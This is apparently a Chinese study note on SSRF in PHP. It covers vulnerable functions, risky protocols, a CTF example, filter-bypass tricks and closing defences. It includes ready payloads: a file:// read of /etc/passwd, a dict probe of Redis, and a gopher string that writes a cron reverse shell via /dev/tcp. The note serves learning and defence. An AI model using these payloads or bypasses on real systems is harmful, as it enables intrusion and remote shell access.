ssrf
-
粗略的参考以下内容学习了一下,以后再深究...
ssrf概述
风险函数
file_get_contents()
、fsockopen()
、curl_exec()
、fopen()
、readfile()
等函数使用不当会造成SSRF漏洞
file_get_contents()
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
file_get_content
函数从用户指定的url获取内容,然后指定一个文件名j进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。
fsocketopen()
背景
- fsockopen(主机名称,端口号码,错误号的接受变量,错误提示的接受变量,超时时间)
<?php
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
fsockopen
函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限- $out里面变量含义:给目的地址一个协议串。
- \r\n的含义:fgets会获取文件描述符$fp的当前的128(也可能是别的常数)个字节,如果还没有到128个字节遇到换行符了,则只返回换行符及换行符之前的内容。
- sockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回FALSE。
- 使用fsockopen()函数比fopen()函数的优点:fopen()只会在PHP中已经将allow_url_fopen设置为真时才能使用,而fsockopen()并没有限制。
PHP cURL 函数 curl_exec()
背景
-
curl 就是模拟浏览器请求的,比如获取获取远程的网页,虽然可以使用file_get_content函数 但是 curl支持cookie 自定义浏览器类型,来源 ip等等
-
curl_exec函数: 这个函数应该在初始化一个cURL会话并且全部的选项都被设置后被调用。
-
mixed curl_exec ( resource $ch ) ch:由 curl_init() 返回的 cURL 句柄。
<?php
// 创建一个cURL资源
$ch = curl_init();
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, "http://www.w3cschool.cc/");
curl_setopt($ch, CURLOPT_HEADER, 0);
// 抓取URL并把它传递给浏览器
curl_exec($ch);
// 关闭cURL资源,并且释放系统资源
curl_close($ch);
?>
漏洞
<?php
if (isset($_POST['url'])){
$link = $_POST['url'];
$curlobj = curl_init();// 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
$result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
风险协议
(1)file
: 在有回显的情况下,利用 file 协议可以读取任意内容
(2)dict
:泄露安装软件版本信息,查看端口,操作内网redis服务等
(3)gopher
:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
(4)http/s
:探测内网主机存活
ssrf利用
本地利用
使用file协议 file protocol (任意文件读取)
curl -vvv 'file:///etc/passwd'
使用dict协议 dict protocol (获取Redis配置信息)
curl -vvv 'dict://127.0.0.1:6379/info'
使用gopher协议(俗称万能协议) gopher protocol (一键反弹Bash)
'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
gopher 协议
gopher协议介绍
-
Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议
-
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用
-
利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求
-
Gopher 可以模仿 POST 请求,故探测内网的时候不仅可以利用 GET 形式的 PoC(经典的 Struts2),还可以使用 POST 形式的 PoC。
gopher局限
- 大部分 PHP 并不会开启 fopen 的 gopher wrapper
- file_get_contents 的 gopher 协议不能 URLencode
- file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
- PHP 的 curl 默认不 follow 302 跳转
- curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断), 7.49 可用
攻击内网主机
湖湘杯2018
<?php
if(!isset($_GET['url'])){
echo "ssrf me with parameter 'url'";
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
//echo $_GET['url'];
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
//var_dump($_POST);
$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_POST['user'])){
if($_POST['user']=="admin" && $ip=="127.0.0.1"){
system("/var/www/html/ssrf/readflag");
}
}
?>
gopher 攻击内网redis
-
未授权访问redis条件存在限制,若开启了protected-mode,外网访问是不具有写入权限的;若绑定了127.0.0.1,那么外网将无法访问;但如果存在SSRF漏洞,那么通过Gopher协议可对本地redis进行攻击
-
payload:gopher://www.0-sec.org:port/_payload
-
更多内容在 http://wiki.0-sec.org/
- gopher 攻击FastCGI
- gopher 攻击Fast CGI
file 协议读取本地文件
- ?url=file:///etc/passwd
dict 协议探测端口
有回显表示端口开放,无回显即端口关闭
- ?url= dict://127.0.0.1:80
绕过防护
1、常用绕过方法
1.@
http://abc@127.0.0.1
实际上是以用户名abc连接到站点127.0.0.1,同理
http://8.8.8.8@127.0.0.1:8080、http://127.0.0.1#8.8.8.8
在对@解析域名中,不同的处理函数存在处理差异,如:
http://www.aaa.com@www.bbb.com@www.ccc.com
在PHP的parse_url
中会识别www.ccc.com,而libcur
l则识别为www.bbb.com
2.利用[::]
可以利用[::]
来绕过localhost
http://[::]:80/ >>> http://127.0.0.1
3.添加端口号
http://127.0.0.1:8080
4.利用短网址
站长工具短网址
百度短网址
5.利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即
127.0.0.1.xip.io,可解析为127.0.0.1
6.利用DNS解析
在域名上设置A记录,指向127.0.1
7.利用进制转换
127.0.0.1
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433
8.句号
127。0。0。1 >>> 127.0.0.1
9.302跳转
使用https://tinyurl.com生成302跳转地址
2、常见限制
1.限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过。即@
http://www.xxx.com@www.xxc.com
2.限制请求IP不为内网地址
当不允许ip为内网地址时
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换
3.限制请求只为http协议
(1)采取302跳转
(2)采取短地址
防护
1、禁用不需要的协议(如:file:///
、gopher://
,dict://
等)。仅仅允许http和https请求
2、统一错误信息,防止根据错误信息判断端口状态
3、禁止302跳转,或每次跳转,都检查新的Host是否是内网IP,直到抵达最后的网址
4、设置URL白名单或者限制内网IP